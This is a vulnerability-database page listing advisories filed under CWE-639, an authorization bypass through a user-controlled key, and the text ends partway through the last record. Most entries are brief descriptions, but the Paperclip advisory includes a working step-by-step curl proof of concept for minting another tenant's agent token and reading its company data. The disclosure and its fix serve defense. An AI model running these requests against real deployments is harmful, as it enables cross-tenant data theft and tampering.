CWE-639
AllowedAuthorization Bypass Through User-Controlled Key
Abstraction: Base · Status: Incomplete
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
3231 vulnerabilities reference this CWE, most recent first.
GHSA-4759-M874-GWP3
Vulnerability from github – Published: 2026-04-09 00:32 – Updated: 2026-04-09 00:32GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.2 before 18.8.9, 18.9 before 18.9.5, and 18.10 before 18.10.3 that could have allowed an authenticated user to access confidential issues assigned to other users via CSV export due to insufficient authorization checks.
{
"affected": [],
"aliases": [
"CVE-2026-2104"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-08T23:16:58Z",
"severity": "MODERATE"
},
"details": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.2 before 18.8.9, 18.9 before 18.9.5, and 18.10 before 18.10.3 that could have allowed an authenticated user to access confidential issues assigned to other users via CSV export due to insufficient authorization checks.",
"id": "GHSA-4759-m874-gwp3",
"modified": "2026-04-09T00:32:01Z",
"published": "2026-04-09T00:32:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2104"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3541476"
},
{
"type": "WEB",
"url": "https://about.gitlab.com/releases/2026/04/08/patch-release-gitlab-18-10-3-released"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/589021"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-477F-M8HC-8Q86
Vulnerability from github – Published: 2024-10-28 03:30 – Updated: 2024-10-28 03:30The eHRD CTMS from Sunnet has an Insecure Direct Object Reference (IDOR) vulnerability, allowing unauthenticated remote attackers to modify a specific parameter to access arbitrary files uploaded by any user.
{
"affected": [],
"aliases": [
"CVE-2024-10439"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-28T03:15:02Z",
"severity": "MODERATE"
},
"details": "The eHRD CTMS from Sunnet has an Insecure Direct Object Reference (IDOR) vulnerability, allowing unauthenticated remote attackers to modify a specific parameter to access arbitrary files uploaded by any user.",
"id": "GHSA-477f-m8hc-8q86",
"modified": "2024-10-28T03:30:39Z",
"published": "2024-10-28T03:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10439"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/en/cp-139-8167-a2c0d-2.html"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-8166-085c4-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-47CP-9VFH-CVVW
Vulnerability from github – Published: 2024-07-09 12:30 – Updated: 2024-07-09 12:30A BOLA vulnerability in POST /appointments allows a low privileged user to create an appointment for any user in the system (including admin). This results in unauthorized data manipulation.
{
"affected": [],
"aliases": [
"CVE-2023-3285"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-09T10:15:02Z",
"severity": "HIGH"
},
"details": "A BOLA vulnerability in POST /appointments allows a low privileged user to create an appointment for any user in the system (including admin). This results in unauthorized data manipulation.",
"id": "GHSA-47cp-9vfh-cvvw",
"modified": "2024-07-09T12:30:56Z",
"published": "2024-07-09T12:30:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3285"
},
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-47QF-6FQV-2M82
Vulnerability from github – Published: 2022-05-24 19:14 – Updated: 2023-12-28 21:30Windows Key Storage Provider Security Feature Bypass Vulnerability
{
"affected": [],
"aliases": [
"CVE-2021-38624"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-15T12:15:00Z",
"severity": "MODERATE"
},
"details": "Windows Key Storage Provider Security Feature Bypass Vulnerability",
"id": "GHSA-47qf-6fqv-2m82",
"modified": "2023-12-28T21:30:30Z",
"published": "2022-05-24T19:14:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38624"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38624"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-47R2-H2MH-QQJP
Vulnerability from github – Published: 2026-07-01 15:35 – Updated: 2026-07-02 00:31A flaw was found in Foreman. An authenticated user with host-edit permissions could exploit a cross-tenant information disclosure vulnerability. This flaw occurs because the taxonomy_scope controller method does not properly validate organization and location IDs from nested request parameters, bypassing existing authorization checks. This allows the user to leak sensitive infrastructure metadata, including subnet topology, IP ranges, gateways, DNS servers, and VLAN IDs, from organizations and locations they are not authorized to access.
{
"affected": [],
"aliases": [
"CVE-2026-5138"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-01T15:17:11Z",
"severity": "MODERATE"
},
"details": "A flaw was found in Foreman. An authenticated user with host-edit permissions could exploit a cross-tenant information disclosure vulnerability. This flaw occurs because the taxonomy_scope controller method does not properly validate organization and location IDs from nested request parameters, bypassing existing authorization checks. This allows the user to leak sensitive infrastructure metadata, including subnet topology, IP ranges, gateways, DNS servers, and VLAN IDs, from organizations and locations they are not authorized to access.",
"id": "GHSA-47r2-h2mh-qqjp",
"modified": "2026-07-02T00:31:39Z",
"published": "2026-07-01T15:35:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5138"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:34365"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:34366"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:34367"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:34368"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-5138"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2452971"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-47V6-26PV-9RPW
Vulnerability from github – Published: 2021-12-01 00:00 – Updated: 2021-12-03 00:00Dell EMC Streaming Data Platform versions before 1.3 contain an Indirect Object Reference Vulnerability. A remote malicious user may potentially exploit this vulnerability to gain sensitive information.
{
"affected": [],
"aliases": [
"CVE-2021-36329"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-30T21:15:00Z",
"severity": "MODERATE"
},
"details": "Dell EMC Streaming Data Platform versions before 1.3 contain an Indirect Object Reference Vulnerability. A remote malicious user may potentially exploit this vulnerability to gain sensitive information.",
"id": "GHSA-47v6-26pv-9rpw",
"modified": "2021-12-03T00:00:57Z",
"published": "2021-12-01T00:00:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36329"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-in/000193697/dsa-2021-205-dell-emc-streaming-data-platform-security-update-for-third-party-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-47WQ-CJ9Q-WPMP
Vulnerability from github – Published: 2026-04-16 22:48 – Updated: 2026-04-16 22:48Isolated paperclip instance running in authenticated mode (default config) on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post the 2026.410.0 patch). This advisory was verified on an unmodified build.
Summary
POST /api/agents/:id/keys, GET /api/agents/:id/keys, and
DELETE /api/agents/:id/keys/:keyId (server/src/routes/agents.ts
lines 2050-2087) only call assertBoard to authorize the caller. They never
call assertCompanyAccess and never verify that the caller is a member of the
company that owns the target agent.
Any authenticated board user (including a freshly signed-up account with zero
company memberships and no instance_admin role) can mint a plaintext
pcp_* agent API token for any agent in any company on the instance. The
minted token is bound to the victim agent's companyId server-side, so
every downstream assertCompanyAccess check on that token authorizes
operations inside the victim tenant.
This is a pure authorization bypass on the core tenancy boundary. It is distinct from GHSA-68qg-g8mg-6pr7 (the unauth import → RCE chain disclosed in 2026.410.0): that advisory fixed one handler, this report is a different handler with the same class of mistake that the 2026.410.0 patch did not cover.
Root Cause
server/src/routes/agents.ts, lines 2050-2087:
router.get("/agents/:id/keys", async (req, res) => {
assertBoard(req); // <-- no assertCompanyAccess
const id = req.params.id as string;
const keys = await svc.listKeys(id);
res.json(keys);
});
router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
assertBoard(req); // <-- no assertCompanyAccess
const id = req.params.id as string;
const key = await svc.createApiKey(id, req.body.name);
...
res.status(201).json(key); // returns plaintext `token`
});
router.delete("/agents/:id/keys/:keyId", async (req, res) => {
assertBoard(req); // <-- no assertCompanyAccess
const keyId = req.params.keyId as string;
const revoked = await svc.revokeKey(keyId);
...
});
Compare the handler 12 lines below, router.post("/agents/:id/wakeup"),
which shows the correct pattern: it fetches the agent, then calls
assertCompanyAccess(req, agent.companyId). The three /keys handlers above
do not even fetch the agent.
The token returned by POST /agents/:id/keys is bound to the victim
company in server/src/services/agents.ts, lines 580-609:
createApiKey: async (id: string, name: string) => {
const existing = await getById(id); // victim agent
...
const token = createToken();
const keyHash = hashToken(token);
const created = await db
.insert(agentApiKeys)
.values({
agentId: id,
companyId: existing.companyId, // <-- victim tenant
name,
keyHash,
})
.returning()
.then((rows) => rows[0]);
return {
id: created.id,
name: created.name,
token, // <-- plaintext returned
createdAt: created.createdAt,
};
},
actorMiddleware (server/src/middleware/auth.ts) then resolves the bearer
token to actor = { type: "agent", companyId: existing.companyId }, so every
subsequent assertCompanyAccess(req, victim.companyId) check passes.
The exact same assertBoard-only pattern is also present on agent lifecycle
handlers in the same file (POST /agents/:id/pause, /resume, /terminate,
and DELETE /agents/:id at lines 1962, 1985, 2006, 2029). An attacker can
terminate, delete, or silently pause any agent in any company with the same
primitive.
Trigger Conditions
- Paperclip running in
authenticatedmode (the public, multi-user configuration —PAPERCLIP_DEPLOYMENT_MODE=authenticated). PAPERCLIP_AUTH_DISABLE_SIGN_UPunset or false (the default — same default precondition as GHSA-68qg-g8mg-6pr7).- At least one other company exists on the instance with at least one agent. In practice this is the normal state of any production paperclip deployment. The attacker needs the victim agent's ID, which leaks through activity feeds, heartbeat run APIs, and the sidebar-badges endpoint that the 2026.410.0 disclosure also flagged as under-protected.
No admin role, no invite, no email verification, no CSRF dance. The attacker is an authenticated browser-session user with zero company memberships.
PoC
Verified against a freshly built ghcr.io/paperclipai/paperclip:latest
container at commit b649bd4 (2026.411.0-canary.8, which is post the
2026.410.0 import-bypass patch). Full 5-step reproduction:
Step 1-2: Mallory signs up via the default
/api/auth/sign-up/emailflow (no invite, no verification) and confirms viaGET /api/companiesthat she is a member of zero companies. She has no tenant access through the normal authorization path.
# Step 1: attacker signs up as an unprivileged board user
curl -s -X POST http://<target>:3102/api/auth/sign-up/email \
-H 'Content-Type: application/json' \
-d '{"email":"mallory@attacker.com","password":"P@ssw0rd456","name":"mallory"}'
# Save the `better-auth.session_token` cookie from Set-Cookie.
# Step 2: confirm zero company membership
curl -s -H "Cookie: $MALLORY_SESSION" http://<target>:3102/api/companies
# -> []
Step 3 — the vulnerability. Mallory POSTs to
/api/agents/:id/keystargeting an agent in Victim Corp (a company she is NOT a member of). The server returns a plaintextpcp_*token tied to the victim'scompanyId. There is no authorization error.assertBoardpassed because Mallory is a board user;assertCompanyAccesswas never called.
# Step 3: mint a plaintext token for a victim agent
VICTIM_AGENT=<any-agent-id-in-another-company>
curl -s -X POST \
-H "Cookie: $MALLORY_SESSION" \
-H "Origin: http://<target>:3102" \
-H "Content-Type: application/json" \
-d '{"name":"pwnkit"}' \
http://<target>:3102/api/agents/$VICTIM_AGENT/keys
# -> 201 { "id":"...", "token":"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25", ... }
Step 4-5: Use the stolen token as a Bearer credential.
actorMiddlewareresolves it toactor = { type: "agent", companyId: VICTIM }, so every downstreamassertCompanyAccessgate authorizes reads against Victim Corp. Mallory can now enumerate the victim's company metadata, issues, approvals, and agent configuration — none of which she had access to 30 seconds ago.
# Step 4: use the stolen token to read victim company data
STOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25
VICTIM_CO=<victim-company-id>
curl -s -H "Authorization: Bearer $STOLEN" \
http://<target>:3102/api/companies/$VICTIM_CO
# -> 200 { "id":"...", "name":"Victim Corp", ... }
curl -s -H "Authorization: Bearer $STOLEN" \
http://<target>:3102/api/companies/$VICTIM_CO/issues
# -> 200 [ ...every issue in the victim tenant... ]
curl -s -H "Authorization: Bearer $STOLEN" \
http://<target>:3102/api/companies/$VICTIM_CO/approvals
# -> 200 [ ...every approval in the victim tenant... ]
curl -s -H "Authorization: Bearer $STOLEN" \
http://<target>:3102/api/agents/$VICTIM_AGENT
# -> 200 { ...full agent config incl. adapter settings... }
Observed outputs (all verified on live instance at time of submission):
POST /api/agents/:id/keys→ 201 with plaintexttokenbound to the victim'scompanyIdGET /api/companies/:victimId→ 200 full company metadataGET /api/companies/:victimId/issues→ 200 issue listGET /api/companies/:victimId/agents→ 200 agent listGET /api/companies/:victimId/approvals→ 200 approval list
Impact
- Type: Broken access control / cross-tenant IDOR (CWE-285, CWE-639, CWE-862, CWE-1220)
- Who is impacted: every paperclip instance running in
authenticatedmode with defaultPAPERCLIP_AUTH_DISABLE_SIGN_UP(open signup). That is the documented multi-user configuration and the default indocker/docker-compose.quickstart.yml. - Confidentiality: HIGH. Any signed-up user can read another tenant's company metadata, issues, approvals, runs, and agent configuration (which includes adapter URLs, model settings, and references to stored secret bindings).
- Integrity: HIGH. The minted token is a persistent agent credential
that authenticates for every
assertCompanyAccess-gated agent-scoped mutation in the victim tenant (issue/run updates, self-wakeup with attacker-controlled payloads, adapter execution via the agent's own adapter, etc.). - Availability: HIGH. The attacker can
pause,terminate, orDELETEany agent in any company via the siblingassertBoard-only handlers (/agents/:id/pause,/resume,/terminate,DELETE /agents/:id). - Relation to GHSA-68qg-g8mg-6pr7: the 2026.410.0 patch added
assertInstanceAdminonPOST /companies/importand closed the disclosed chain, but the same root cause (assertBoardtreated as sufficient whereassertCompanyAccessis required on a cross-tenant resource, or whereassertInstanceAdminis required on an instance-global resource) is present in multiple other handlers. The import fix did not audit sibling routes. This report is an instance of that same class the prior advisory did not cover.
Severity is driven by the fact that every precondition is default, the bug is reachable by any signed-up user with zero memberships, and the stolen token persists across sessions until manually revoked.
Suggested Fix
In server/src/routes/agents.ts, replace each of the three /keys handlers
so they load the target agent first and enforce company access:
router.get("/agents/:id/keys", async (req, res) => {
assertBoard(req);
const id = req.params.id as string;
const agent = await svc.getById(id);
if (!agent) {
res.status(404).json({ error: "Agent not found" });
return;
}
assertCompanyAccess(req, agent.companyId);
const keys = await svc.listKeys(id);
res.json(keys);
});
router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
assertBoard(req);
const id = req.params.id as string;
const agent = await svc.getById(id);
if (!agent) {
res.status(404).json({ error: "Agent not found" });
return;
}
assertCompanyAccess(req, agent.companyId);
const key = await svc.createApiKey(id, req.body.name);
...
});
router.delete("/agents/:id/keys/:keyId", async (req, res) => {
assertBoard(req);
const keyId = req.params.keyId as string;
// Look up the key to find its agentId/companyId, then:
const key = await svc.getKeyById(keyId);
if (!key) { res.status(404).json({ error: "Key not found" }); return; }
assertCompanyAccess(req, key.companyId);
await svc.revokeKey(keyId);
res.json({ ok: true });
});
While fixing this, audit the sibling lifecycle handlers at lines 1962-2048
(/agents/:id/pause, /resume, /terminate, DELETE /agents/:id) which
share the same bug.
Defense in depth: consider a code-wide sweep for assertBoard(req) calls
that are not immediately followed by assertCompanyAccess or
assertInstanceAdmin — the 2026.410.0 patch focused on one handler but the
pattern is systemic.
Patch Status
- Latest image at time of writing:
ghcr.io/paperclipai/paperclip:latestdigestsha256:baa9926e..., commitb649bd4(canary/v2026.411.0-canary.8), which is after the 2026.410.0 import bypass fix. - The bug is still present on that revision. PoC reproduced end-to-end against an unmodified container.
Credits
Discovered by pwnkit, an AI-assisted security scanner, during variant-hunt analysis of GHSA-68qg-g8mg-6pr7. Manually verified against a live isolated paperclip instance.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@paperclipai/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.416.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1220",
"CWE-285",
"CWE-639",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T22:48:32Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "\u003cimg width=\"7007\" height=\"950\" alt=\"01-setup\" src=\"https://github.com/user-attachments/assets/1596b8d1-8de5-4c21-b1d2-2db41b568d7e\" /\u003e\n\n\u003e Isolated paperclip instance running in authenticated mode (default config)\n\u003e on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post\n\u003e the 2026.410.0 patch). This advisory was verified on an unmodified build.\n\n### Summary\n\n`POST /api/agents/:id/keys`, `GET /api/agents/:id/keys`, and\n`DELETE /api/agents/:id/keys/:keyId` (`server/src/routes/agents.ts`\nlines 2050-2087) only call `assertBoard` to authorize the caller. They never\ncall `assertCompanyAccess` and never verify that the caller is a member of the\ncompany that owns the target agent.\n\nAny authenticated board user (including a freshly signed-up account with zero\ncompany memberships and no `instance_admin` role) can mint a plaintext\n`pcp_*` agent API token for any agent in any company on the instance. The\nminted token is bound to the **victim** agent\u0027s `companyId` server-side, so\nevery downstream `assertCompanyAccess` check on that token authorizes\noperations inside the victim tenant.\n\nThis is a pure authorization bypass on the core tenancy boundary. It is\ndistinct from GHSA-68qg-g8mg-6pr7 (the unauth import \u2192 RCE chain disclosed in\n2026.410.0): that advisory fixed one handler, this report is a different\nhandler with the same class of mistake that the 2026.410.0 patch did not\ncover.\n\n### Root Cause\n\n`server/src/routes/agents.ts`, lines 2050-2087:\n\n```ts\nrouter.get(\"/agents/:id/keys\", async (req, res) =\u003e {\n assertBoard(req); // \u003c-- no assertCompanyAccess\n const id = req.params.id as string;\n const keys = await svc.listKeys(id);\n res.json(keys);\n});\n\nrouter.post(\"/agents/:id/keys\", validate(createAgentKeySchema), async (req, res) =\u003e {\n assertBoard(req); // \u003c-- no assertCompanyAccess\n const id = req.params.id as string;\n const key = await svc.createApiKey(id, req.body.name);\n ...\n res.status(201).json(key); // returns plaintext `token`\n});\n\nrouter.delete(\"/agents/:id/keys/:keyId\", async (req, res) =\u003e {\n assertBoard(req); // \u003c-- no assertCompanyAccess\n const keyId = req.params.keyId as string;\n const revoked = await svc.revokeKey(keyId);\n ...\n});\n```\n\nCompare the handler 12 lines below, `router.post(\"/agents/:id/wakeup\")`,\nwhich shows the correct pattern: it fetches the agent, then calls\n`assertCompanyAccess(req, agent.companyId)`. The three `/keys` handlers above\ndo not even fetch the agent.\n\nThe token returned by `POST /agents/:id/keys` is bound to the **victim**\ncompany in `server/src/services/agents.ts`, lines 580-609:\n\n```ts\ncreateApiKey: async (id: string, name: string) =\u003e {\n const existing = await getById(id); // victim agent\n ...\n const token = createToken();\n const keyHash = hashToken(token);\n const created = await db\n .insert(agentApiKeys)\n .values({\n agentId: id,\n companyId: existing.companyId, // \u003c-- victim tenant\n name,\n keyHash,\n })\n .returning()\n .then((rows) =\u003e rows[0]);\n\n return {\n id: created.id,\n name: created.name,\n token, // \u003c-- plaintext returned\n createdAt: created.createdAt,\n };\n},\n```\n\n`actorMiddleware` (`server/src/middleware/auth.ts`) then resolves the bearer\ntoken to `actor = { type: \"agent\", companyId: existing.companyId }`, so every\nsubsequent `assertCompanyAccess(req, victim.companyId)` check passes.\n\nThe exact same `assertBoard`-only pattern is also present on agent lifecycle\nhandlers in the same file (`POST /agents/:id/pause`, `/resume`, `/terminate`,\nand `DELETE /agents/:id` at lines 1962, 1985, 2006, 2029). An attacker can\nterminate, delete, or silently pause any agent in any company with the same\nprimitive.\n\n### Trigger Conditions\n\n1. Paperclip running in `authenticated` mode (the public, multi-user\n configuration \u2014 `PAPERCLIP_DEPLOYMENT_MODE=authenticated`).\n2. `PAPERCLIP_AUTH_DISABLE_SIGN_UP` unset or false (the default \u2014 same\n default precondition as GHSA-68qg-g8mg-6pr7).\n3. At least one other company exists on the instance with at least one\n agent. In practice this is the normal state of any production paperclip\n deployment. The attacker needs the victim agent\u0027s ID, which leaks through\n activity feeds, heartbeat run APIs, and the sidebar-badges endpoint that\n the 2026.410.0 disclosure also flagged as under-protected.\n\nNo admin role, no invite, no email verification, no CSRF dance. The attacker\nis an authenticated browser-session user with zero company memberships.\n\n### PoC\n\nVerified against a freshly built `ghcr.io/paperclipai/paperclip:latest`\ncontainer at commit `b649bd4` (2026.411.0-canary.8, which is **post** the\n2026.410.0 import-bypass patch). Full 5-step reproduction:\n\n\u003cimg width=\"5429\" height=\"1448\" alt=\"02-signup\" src=\"https://github.com/user-attachments/assets/4c2b2939-326b-4e0d-aa01-05e22851486b\" /\u003e\n\u003e Step 1-2: Mallory signs up via the default `/api/auth/sign-up/email` flow\n\u003e (no invite, no verification) and confirms via `GET /api/companies` that she\n\u003e is a member of zero companies. She has no tenant access through the normal\n\u003e authorization path.\n\n```bash\n# Step 1: attacker signs up as an unprivileged board user\ncurl -s -X POST http://\u003ctarget\u003e:3102/api/auth/sign-up/email \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"email\":\"mallory@attacker.com\",\"password\":\"P@ssw0rd456\",\"name\":\"mallory\"}\u0027\n# Save the `better-auth.session_token` cookie from Set-Cookie.\n\n# Step 2: confirm zero company membership\ncurl -s -H \"Cookie: $MALLORY_SESSION\" http://\u003ctarget\u003e:3102/api/companies\n# -\u003e []\n```\n\n\u003cimg width=\"2891\" height=\"1697\" alt=\"03-exploit\" src=\"https://github.com/user-attachments/assets/c097e861-6bc9-4f6a-841c-b45501e27849\" /\u003e\n\u003e Step 3 \u2014 the vulnerability. Mallory POSTs to `/api/agents/:id/keys`\n\u003e targeting an agent in Victim Corp (a company she is NOT a member of). The\n\u003e server returns a plaintext `pcp_*` token tied to the victim\u0027s `companyId`.\n\u003e There is no authorization error. `assertBoard` passed because Mallory is a\n\u003e board user; `assertCompanyAccess` was never called.\n\n```bash\n# Step 3: mint a plaintext token for a victim agent\nVICTIM_AGENT=\u003cany-agent-id-in-another-company\u003e\ncurl -s -X POST \\\n -H \"Cookie: $MALLORY_SESSION\" \\\n -H \"Origin: http://\u003ctarget\u003e:3102\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"name\":\"pwnkit\"}\u0027 \\\n http://\u003ctarget\u003e:3102/api/agents/$VICTIM_AGENT/keys\n# -\u003e 201 { \"id\":\"...\", \"token\":\"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25\", ... }\n```\n\n\u003cimg width=\"2983\" height=\"2009\" alt=\"04-exfil\" src=\"https://github.com/user-attachments/assets/ede5d469-4119-432c-b0ae-5a4fabc9a56b\" /\u003e\n\u003e Step 4-5: Use the stolen token as a Bearer credential. `actorMiddleware`\n\u003e resolves it to `actor = { type: \"agent\", companyId: VICTIM }`, so every\n\u003e downstream `assertCompanyAccess` gate authorizes reads against Victim Corp.\n\u003e Mallory can now enumerate the victim\u0027s company metadata, issues, approvals,\n\u003e and agent configuration \u2014 none of which she had access to 30 seconds ago.\n\n```bash\n# Step 4: use the stolen token to read victim company data\nSTOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25\nVICTIM_CO=\u003cvictim-company-id\u003e\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n http://\u003ctarget\u003e:3102/api/companies/$VICTIM_CO\n# -\u003e 200 { \"id\":\"...\", \"name\":\"Victim Corp\", ... }\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n http://\u003ctarget\u003e:3102/api/companies/$VICTIM_CO/issues\n# -\u003e 200 [ ...every issue in the victim tenant... ]\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n http://\u003ctarget\u003e:3102/api/companies/$VICTIM_CO/approvals\n# -\u003e 200 [ ...every approval in the victim tenant... ]\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n http://\u003ctarget\u003e:3102/api/agents/$VICTIM_AGENT\n# -\u003e 200 { ...full agent config incl. adapter settings... }\n```\n\nObserved outputs (all verified on live instance at time of submission):\n\n- `POST /api/agents/:id/keys` \u2192 **201** with plaintext `token` bound to\n the victim\u0027s `companyId`\n- `GET /api/companies/:victimId` \u2192 **200** full company metadata\n- `GET /api/companies/:victimId/issues` \u2192 **200** issue list\n- `GET /api/companies/:victimId/agents` \u2192 **200** agent list\n- `GET /api/companies/:victimId/approvals` \u2192 **200** approval list\n\n### Impact\n\n- **Type:** Broken access control / cross-tenant IDOR (CWE-285, CWE-639,\n CWE-862, CWE-1220)\n- **Who is impacted:** every paperclip instance running in `authenticated`\n mode with default `PAPERCLIP_AUTH_DISABLE_SIGN_UP` (open signup). That is\n the documented multi-user configuration and the default in\n `docker/docker-compose.quickstart.yml`.\n- **Confidentiality:** HIGH. Any signed-up user can read another tenant\u0027s\n company metadata, issues, approvals, runs, and agent configuration (which\n includes adapter URLs, model settings, and references to stored secret\n bindings).\n- **Integrity:** HIGH. The minted token is a persistent agent credential\n that authenticates for every `assertCompanyAccess`-gated agent-scoped\n mutation in the victim tenant (issue/run updates, self-wakeup with\n attacker-controlled payloads, adapter execution via the agent\u0027s own\n adapter, etc.).\n- **Availability:** HIGH. The attacker can `pause`, `terminate`, or\n `DELETE` any agent in any company via the sibling `assertBoard`-only\n handlers (`/agents/:id/pause`, `/resume`, `/terminate`,\n `DELETE /agents/:id`).\n- **Relation to GHSA-68qg-g8mg-6pr7:** the 2026.410.0 patch added\n `assertInstanceAdmin` on `POST /companies/import` and closed the disclosed\n chain, but the same root cause (`assertBoard` treated as sufficient where\n `assertCompanyAccess` is required on a cross-tenant resource, or where\n `assertInstanceAdmin` is required on an instance-global resource) is\n present in multiple other handlers. The import fix did not audit sibling\n routes. This report is an instance of that same class the prior advisory\n did not cover.\n\nSeverity is driven by the fact that every precondition is default, the bug\nis reachable by any signed-up user with zero memberships, and the stolen\ntoken persists across sessions until manually revoked.\n\n### Suggested Fix\n\nIn `server/src/routes/agents.ts`, replace each of the three `/keys` handlers\nso they load the target agent first and enforce company access:\n\n```ts\nrouter.get(\"/agents/:id/keys\", async (req, res) =\u003e {\n assertBoard(req);\n const id = req.params.id as string;\n const agent = await svc.getById(id);\n if (!agent) {\n res.status(404).json({ error: \"Agent not found\" });\n return;\n }\n assertCompanyAccess(req, agent.companyId);\n const keys = await svc.listKeys(id);\n res.json(keys);\n});\n\nrouter.post(\"/agents/:id/keys\", validate(createAgentKeySchema), async (req, res) =\u003e {\n assertBoard(req);\n const id = req.params.id as string;\n const agent = await svc.getById(id);\n if (!agent) {\n res.status(404).json({ error: \"Agent not found\" });\n return;\n }\n assertCompanyAccess(req, agent.companyId);\n const key = await svc.createApiKey(id, req.body.name);\n ...\n});\n\nrouter.delete(\"/agents/:id/keys/:keyId\", async (req, res) =\u003e {\n assertBoard(req);\n const keyId = req.params.keyId as string;\n // Look up the key to find its agentId/companyId, then:\n const key = await svc.getKeyById(keyId);\n if (!key) { res.status(404).json({ error: \"Key not found\" }); return; }\n assertCompanyAccess(req, key.companyId);\n await svc.revokeKey(keyId);\n res.json({ ok: true });\n});\n```\n\nWhile fixing this, audit the sibling lifecycle handlers at lines 1962-2048\n(`/agents/:id/pause`, `/resume`, `/terminate`, `DELETE /agents/:id`) which\nshare the same bug.\n\nDefense in depth: consider a code-wide sweep for `assertBoard(req)` calls\nthat are not immediately followed by `assertCompanyAccess` or\n`assertInstanceAdmin` \u2014 the 2026.410.0 patch focused on one handler but the\npattern is systemic.\n\n### Patch Status\n\n- Latest image at time of writing: `ghcr.io/paperclipai/paperclip:latest`\n digest `sha256:baa9926e...`, commit `b649bd4`\n (`canary/v2026.411.0-canary.8`), which is *after* the 2026.410.0 import\n bypass fix.\n- The bug is still present on that revision. PoC reproduced end-to-end\n against an unmodified container.\n\n### Credits\n\nDiscovered by [pwnkit](https://github.com/peaktwilight/pwnkit), an\nAI-assisted security scanner, during variant-hunt analysis of\nGHSA-68qg-g8mg-6pr7. Manually verified against a live isolated paperclip\ninstance.",
"id": "GHSA-47wq-cj9q-wpmp",
"modified": "2026-04-16T22:48:32Z",
"published": "2026-04-16T22:48:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-47wq-cj9q-wpmp"
},
{
"type": "PACKAGE",
